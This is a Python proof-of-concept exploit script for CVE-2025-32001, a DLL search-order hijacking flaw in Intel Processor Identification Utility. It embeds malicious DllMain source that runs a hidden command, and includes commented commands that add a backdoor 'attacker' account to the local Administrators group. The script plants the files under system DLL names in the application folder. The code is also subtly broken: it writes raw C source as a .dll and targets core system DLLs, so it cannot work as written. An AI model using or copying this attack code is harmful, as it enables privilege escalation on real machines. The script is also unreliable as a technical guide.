CVE-2025-32001

# CVE-2025-32001 PoC - DLL Search Order Hijacking # This PoC demonstrates the uncontrolled search path vulnerability # in Intel Processor Identification Utility import os import ctypes from ctypes import wintypes # Malicious DLL that will be planted in the search path MALICIOUS_DLL_CODE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create elevated command prompt or execute payload WinExec("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt", SW_HIDE); // Or execute arbitrary code with elevated privileges // system("net user attacker P@ssw0rd /add"); // system("net localgroup Administrators attacker /add"); } return TRUE; } ''' def create_malicious_dll(output_path): """Generate malicious DLL for exploitation""" with open(output_path, 'w') as f: f.write(MALICIOUS_DLL_CODE) print(f"[+] Malicious DLL created at: {output_path}") def plant_dll_in_search_path(target_dir, dll_name): """Plant malicious DLL in application search path""" dll_path = os.path.join(target_dir, dll_name) create_malicious_dll(dll_path) print(f"[+] DLL planted in search path: {dll_path}") print("[+] Waiting for victim to launch Intel Processor Identification Utility...") def check_vulnerability(target_exe): """Check if target application is vulnerable""" if os.path.exists(target_exe): print(f"[+] Target application found: {target_exe}") print("[+] Application may be vulnerable to DLL search order hijacking") else: print("[-] Target application not found") if __name__ == "__main__": # Common DLL names that Intel Processor ID Utility might load common_dlls = ["kernel32.dll", "user32.dll", "advapi32.dll"] # Target application path target_app = "C:\\\\Program Files (x86)\\\\Intel\\\\Intel(R) Processor Identification Utility\\\\IntelProcessorId.exe" # Directory to plant DLL (e.g., application directory or PATH) plant_directory = os.path.dirname(target_app) check_vulnerability(target_app) # Plant malicious DLL for dll in common_dlls: plant_dll_in_search_path(plant_directory, dll) print("\n[!] Note: This PoC is for educational and authorized testing purposes only.") print("[!] Actual exploitation requires: local access + user interaction + vulnerable version")

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